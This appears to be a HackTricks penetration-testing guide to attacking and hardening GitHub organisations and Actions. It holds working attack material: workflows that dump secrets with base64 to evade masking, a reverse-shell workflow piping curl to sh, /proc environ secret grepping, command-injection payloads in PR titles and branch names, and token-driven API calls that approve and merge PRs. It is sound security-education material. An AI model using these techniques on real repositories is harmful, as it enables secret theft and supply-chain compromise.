Github Security

Support HackTricks and get benefits!

What is Github

(From here) At a high level, GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code.

Basic Information

External Recon

Github repositories can be configured as public, private and internal.
  • Private means that only people of the organisation will be able to access them
  • Internal means that only people of the enterprise (an enterprise may have several organisations) will be able to access it
  • Public means that all internet is going to be able to access it.
In case you know the user, repo or organisation you want to target you can use github dorks to find sensitive information or search for sensitive information leaks on each repo.

Github Dorks

Github allows to search for something specifying as scope a user, a repo or an organisation. Therefore, with a list of strings that are going to appear close to sensitive information you can easily search for potential sensitive information in your target.
Tools (each tool contains its list of dorks):

Github Leaks

Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will download each repo and search for sensitive information in them (even checking certain depth of commits).
Tools (each tool contains its list of regexes):
When you look for leaks in a repo and run something like git log -p don't forget there might be other branches with other commits containing secrets!

External Forks

It's possible to compromise repos abusing pull requests. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. More info about this below.

Organization Hardening

Member Privileges

There are some default privileges that can be assigned to members of the organization. These can be controlled from the page<org_name>/settings/member_privileges or from the Organizations API.
  • Base permissions: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is None or Read.
  • Repository forking: If not necessary, it's better to not allow members to fork organization repositories.
  • Pages creation: If not necessary, it's better to not allow members to publish pages from the org repos. If necessary you can allow to create public or private pages.
  • Integration access requests: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
    • I couldn't find this info in the APIs response, share if you do
  • Repository visibility change: If enabled, members with admin permissions for the repository will be able to change its visibility. If disabled, only organization owners can change repository visibilities. If you don't want people to make things public, make sure this is disabled.
    • I couldn't find this info in the APIs response, share if you do
  • Repository deletion and transfer: If enabled, members with admin permissions for the repository will be able to delete or transfer public and private repositories.
    • I couldn't find this info in the APIs response, share if you do
  • Allow members to create teams: If enabled, any member of the organization will be able to create new teams. If disabled, only organization owners can create new teams. It's better to have this disabled.
    • I couldn't find this info in the APIs response, share if you do
  • More things can be configured in this page but the previous are the ones more security related.

Actions Settings

Several security related settings can be configured for actions from the page<org_name>/settings/actions.
Note that all this configurations can also be set on each repository independently
  • Github actions policies: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to specify which repositories should be allowed and not allow all actions to run.
  • Fork pull request workflows from outside collaborators: It's recommended to require approval for all outside collaborators.
    • I couldn't find an API with this info, share if you do
  • Run workflows from fork pull requests: It's highly discouraged to run workflows from pull requests as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
    • I couldn't find an API with this info, share if you do
  • Workflow permissions: It's highly recommended to only give read repository permissions. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.


Let me know if you know the API endpoint to access this info!
  • Third-party application access policy: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
  • Installed GitHub Apps: It's recommended to only allow the needed ones (after reviewing them).

Recon & Attacks abusing credentials

For this scenario we are going to suppose that you have obtained some access to a github account.

With User Credentials

If you somehow already have credentials for a user inside an organization you can just login and check which enterprise and organization roles you have, if you are a raw member, check which permissions raw members have, in which groups you are, which permissions you have over which repos, and how are the repos protected.
Note that 2FA may be used so you will only be able to access this information if you can also pass that check.
Note that if you manage to steal the user_session cookie (currently configured with SameSite: Lax) you can completely impersonate the user without needing credentials or 2FA.
Check the section below about branch protections bypasses in case it's useful.

With User SSH Key

Github allows users to set SSH keys that will be used as authentication method to deploy code on their behalf (no 2FA is applied).
With this key you can perform changes in repositories where the user has some privileges, however you can not sue it to access github api to enumerate the environment. However, you can get enumerate local settings to get information about the repos and user you have access to:
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
If the user has configured its username as his github username you can access the public keys he has set in his account in<github_username>.keys, you could check this to confirm the private key you found can be used.
SSH keys can also be set in repositories as deploy keys. Anyone with access to this key will be able to launch projects from a repository. Usually in a server with different deploy keys the local file ~/.ssh/config will give you info about key is related.

GPG Keys

As explained here sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
gpg --list-secret-keys --keyid-format=long

With User Token

For an introduction about User Tokens check the basic information.
A user token can be used instead of a password for Git over HTTPS, or can be used to authenticate to the API over Basic Authentication. Depending on the privileges attached to it you might be able to perform different actions.
A User token looks like this: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

With Oauth Application

An attacker might create a malicious Oauth Application to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
These are the scopes an Oauth application can request. A should always check the scopes requested before accepting them.
Moreover, as explained in the basic information, organizations can give/deny access to third party applications to information/repos/actions related with the organisation.

With Github Application

An attacker might create a malicious Github Application to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Moreover, as explained in the basic information, organizations can give/deny access to third party applications to information/repos/actions related with the organisation.

Abusing Github Action

In case you can execute arbitrary github actions in a repository, you can steal the secrets from that repo.

Execution from Repo Creation

In case members of an organization can create new repos and you can execute github actions, you can create a new repo and steal the secrets set at organization level.

Execution from a New Branch

If you can create a new branch in a repository that already contains a Github Action configured, you can modify it, upload the content, and then execute that action from the new branch. This way you can exfiltrate repository and organization level secrets (but you need to know how they are called).
You can make the modified action executable manually, when a PR is created or when some code is pushed (depending on how noisy you want to be):
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
- master
push: # Run it when a push is made to a branch
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Execution from a External Fork

If a repository is using github actions an attacker might be able to create a Pull Request from a forked repository injecting malicious code in the github workflow, and he might be able to compromise the github repo that way.


The workflow trigger pull_request by default prevents write permissions and secrets access to the target repository. Moreover, by default if it's the first time you are collaborating, some maintainer will need to approve the run of the workflow:
As the default limitation is for first-time contributors, you could contribute fixing a valid bug and then send other PRs to abuse your new pull_request privileges.
Another option would be to create an account with the name of someone that contributed to the project and deleted his account.
However, in order to prevent the compromise of the repo via pull_request this is mentioned in the docs:
With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
However, even if the action doesn't mention Artifacts, he might be able to modify a repo Artifact changing the action?? (TODO).
Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!
However, sending a new action that triggers on pull_request won't be triggered.


However, the workflow trigger pull_request_target have write permission to the target repository and access to secrets (and doesn't ask for permission).
Note that the workflow trigger pull_request_target runs in the base context and not in the one given by the PR (to not execute untrusted code). For more info about pull_request_target check the docs. Moreover, for more info about this specific dangerous use check this github blog post.
It might look like because the executed workflow is the one defined in the base and not in the PR it's secure to use pull_request_target, but there are a few cases were it isn't.

Script Injection via attacker controller variables

Github sets default environment variables and if contexts are used, it includes more. If any of those values are used in a dangerous place inside the workflow and cam be controlled by the attacker, a command injection might occur. This vuln is also explained later in this post.

Untrusted checkout execution

If the victim is using pull_request or similar to trigger the action, no PR from a fork until it's specifically approved. The action then will be run in the context of the PR (good because that means it will execute the code inside the PRs fork), but someone needs to approve it first.
If the victim configured the checkout to explicitly use pull_request_target trigger it will always be run, but using the code of the base repo (not the PR one), so the attacker cannot control the executed code. However, if the action has an explicit PR checkout that will get the code from the PR (and not from base), it will use the attacker controller code. For example (check line 12 where the PR code is downloaded):
# INSECURE. Provided as an example only.
name: Build and test
runs-on: ubuntu-latest
- uses: actions/[email protected]
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-[email protected]
- run: |
npm install
npm build
- uses: completely/[email protected]
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-[email protected]
message: |
Thank you!
The potentially untrusted code is being run during npm install or npm build as the build scripts and referenced packages are controlled by the author of the PR.
If the action is run in a self-hosted runner the attacker could be able to compromise it even the environment even more.
A github dork to search for vulnerable actions is: event.pull_request pull_request_target extension:yml however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).

Github Action Injection/Backdoor

In case you somehow managed to infiltrate inside a Github Action, if you can escalate privileges you can steal secrets from the processes where secrets have been set in. In some cases you don't even need to escalate privileges.
cat /proc/<proc_number>/environ
cat /proc/*/environ | grep -i secret #Suposing the env variable name contains "secret"

Github Action accessing AWS and GCP via OIDC

Check the following pages:

Sensitive info in Github Actions logs

Even if Github try to detect secret values in the actions logs and avoid showing them, other sensitive data that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's specifically configured.


This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given by default read and write permissions to the repo. This token is the same one a Github Application will use, so it can access the same endpoints:
Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.
Note that the token expires after the job has completed. These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Some interesting things you can do with this token:
# Merge PR
curl -X PUT \<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'
# Approve a PR
curl -X POST \<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
Note that in several occasions you will be able to find github user tokens inside Github Actions envs or in the secrets. These tokens may give you more privileges over the repository and organization.

List secrets in Github Action output

name: list_env
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
- '**'
push: # Run it when a push is made to a branch
- '**'
runs-on: ubuntu-latest
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Get reverse shell with secrets

name: revshell
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
- '**'
push: # Run it when a push is made to a branch
- '**'
runs-on: ubuntu-latest
- name: Get Rev Shell
run: sh -c 'curl | sh'
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Script Injections

Note that there are certain github contexts **** whose values are controlled by the user creating the PR. If the github action is using that data to execute anything, it could lead to arbitrary code execution. These contexts typically end with body, default_branch, email, head_ref, label, message, name, page_name,ref, and title. For example (list from this writeup):
  • github.event.comment.body
  • github.event.issue.body
  • github.event.issue.title
  • github.head_ref
  • github.pull_request.*
  • github.*.*
  • github.*.*
Note that here are less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, zzz";echo${IFS}"hello";# would be a valid branch name and would be a possible attack vector for a target repository.

Example of a script injectiona attack

A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
- name: Check PR title
run: |
title="${{ github.event.pull_request.title }}"
if [[ $title =~ ^octocat ]]; then
echo "PR title starts with 'octocat'"
exit 0
echo "PR title did not start with 'octocat'"
exit 1
Before the shell script is run, the expressions inside ${{ }} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.
To inject commands into this workflow, the attacker could create a pull request with a title of a"; ls $GITHUB_WORKSPACE":
Example of script injection in PR title
In this example, the " character is used to interrupt the title="${{ github.event.pull_request.title }}" statement, allowing the ls command to be executed on the runner. You can see the output of the ls command in the log:
Example result of script injectio

Accessing secrets

If you are injecting content into a script it's interesting to know how you can access secrets:
  • If the secret or token is set to an environment variable, it can be directly accessed through the environment using printenv.
  • If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
  • For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
    uses: fakeaction/[email protected]
    key: ${{ secrets.PUBLISH_KEY }}

Abusing Self-hosted runners

The way to find which Github Actions are being executed in non-github infrastructure is to search for runs-on: self-hosted in the Github Action configuration yaml.
Self-hosted runners might have access to extra sensitive information, to other network systems (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, more than one action might be run at the same time and the malicious one could steal the secrets of the other one.

Cache Poisoning

Using the action/cache Git action anywhere in the CI will run two steps: one step will take place during the run process when it’s called and the other will take place post workflow (if the run action returned a cache-miss).
  • Run action – is used to search and retrieve the cache. The search is done using the cache key, with the result being either a cache-hit (success, data found in cache) or cache-miss. If found, the files and directories are retrieved from the cache for active use. If the result is cache-miss, the desired files and directories are downloaded as if it was the first time they are called.
  • Post workflow action – used for saving the cache. If the result of the cache call in the run action returns a cache-miss, this action will save the current state of the directories we want to cache with the provided key. This action happens automatically and doesn’t need to be explicitly called.
Access restrictions provide cache isolation and security by creating a logical boundary between different branches (for example: a cache created for the branch Feature-A [with the base main] would not be accessible to a pull request for the branch Feature-B [with the base main]).
The cache action first searches cache hits for a key and restores keys in the branch containing the workflow run. If there are no hits in the current branch, the cache action searches for the key and restores keys in the parent branch and upstream branches.
Access to a cache is scoped by branch (current and parent), meaning access is provided to all workflows across runs of said branch.
Another important note is that GitHub does not allow modifications once entries are pushed – cache entries are read-only records.
We used an example CI that included two workflows. This example shows how an attack can pivot from a low permission workflow to a high permission one.
  • Unit-test workflow running unit-test and code coverage tools. We assume that one of the tools is malicious or vulnerable to remote code execution. The workflow does need to use the action/cache Git action. Any workflow can access the cache.
  • Release workflow builds and releases the application artifact. This workflow uses a cache to optimize using the Golang dependencies.
The unit-test workflow uses a malicious action that adds a cache entry with malicious content by changing a Golang logging library ([email protected]) to add the string, ‘BAD library’ to the application artifact description.
Next, the release workflow uses this poisoned cache entry. As a result, the malicious code is injected into the built Golang binary and image. The cache remains poisoned until the entry key is discarded (usually triggered by dependency updates). The same poisoned cache will affect any other workflow, run, and child branch using the same cache key.
In the test we performed, we managed to inject the string ‘BAD library’ into the image description:
BAD library
This was in version 0.4.1. Next, we updated the tag and rebuilt the image several times, and observed that ‘Bad library’ remained in the description.

Artifact Poisoning

There are several Github Actions that allows to download artifacts from other repositories. These other repositories will usually have a Gihub Action to upload the artifact that will be later be downloaded. If the Github Action of the repo that uploads the artifact allows the pull_request or pull_request_target (using the attackers code), an attacker will be able to trigger the Action that will upload an Artifact created from his code, so then any other repo downloading and executing the latest artifact will be compromised.
As mentioned in a section of this post, pull_requests usually will require a manual approval from a maintainer of the repo.
Example of artifact download from a different repository:
As it was previously mentioned, in a pull_request trigger the Action defined in the PR is the one executed. So an attacker could define in there the actifact upload he would like to compromise.
Therefore, an attacker doesn't need to attack a pull_request trigger in the action of the artifact upload, but just any pull_request trigger.
For more info and defence options (such as hardcoding the artifact to download) check

Deleted Namespace Repo Hijacking

This is a good blog post to read about fixed vulnerabilities that would allow an attacker to steal a deleted namespace to steal a famous repo (potentially because of a rename of the namespace):

Branch Protection Bypass

  • Require a number of approvals: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a Github Action environment inside the repo, using the GITHUB_TOKEN you might be able to approve your PR and get 1 approval this way.
    • Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs.
  • Dismiss approvals when new commits are pushed: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
  • Require reviews from Code Owners: If this is activated and you are a Code Owner, you could make a Github Action create your PR and then approve it yourself.
    • When a CODEOWNER file is missconfigured Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's Code Owners protection isn't applied.
  • Allow specified actors to bypass pull request requirements: If you are one of these actors you can bypass pull request protections.
  • Include administrators: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
  • PR Hijacking: You could be able to modify the PR of someone else adding malicious code, approving the resulting PR yourself and merging everything.
  • Removing Branch Protections: If you are an admin of the repo you can disable the protections, merge your PR and set the protections back.
  • Bypassing push protections: If a repo only allows certain users to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard *).
    • If you have write access over the repo but you are not allowed to push code because of the branch protection, you can still create a new branch and within it create a github action that is triggered when code is pushed. As the branch protection won't protect the branch until it's created, this first code push to the branch will execute the github action.

Bypass Environments Protections

In case an environment can be accessed from all the branches, it's isn't protected and you can easily access the secrets inside the environment. Note that you might find repos where all the branches are protected (by specifying its names or by using *) in that scenario, find a branch were you can push code and you can exfiltrate the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where all the branches are protected (via wildcard *) it's specified who can push code to the branches (you can specify that in the branch protection) and your user isn't allowed. You can still run a custom github action because you can create a branch and use the push trigger over itself. The branch protection allows the push to a new branch so the github action will be triggered.
push: # Run it when a push is made to a branch
- current_branch_name #Use '**' to run when a push is made to any branch
Note that after the creation of the branch the branch protection will apply to the new branch and you won't be able to modify it, but for that time you will have already dumped the secrets.


  • Generate user token
  • Steal github tokens from secrets
    • Deletion of workflow results and branches
  • Give more permissions to all the org
  • Create webhooks to exfiltrate information
  • Invite outside collaborators
  • Remove webhooks used by the SIEM
  • Create/modify Github Action with a backdoor
  • Find vulnerable Github Action to command injection via secret value modification

Imposter Commits - Backdoor via repo commits

In Github it's possible to create a PR to a repo from a fork. Even if the PR is not accepted, a commit id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo.
Like this:
name: example
on: [push]
runs-on: ubuntu-latest
- uses: actions/[email protected]
- shell: bash
run: |
echo 'hello world!'
Support HackTricks and get benefits!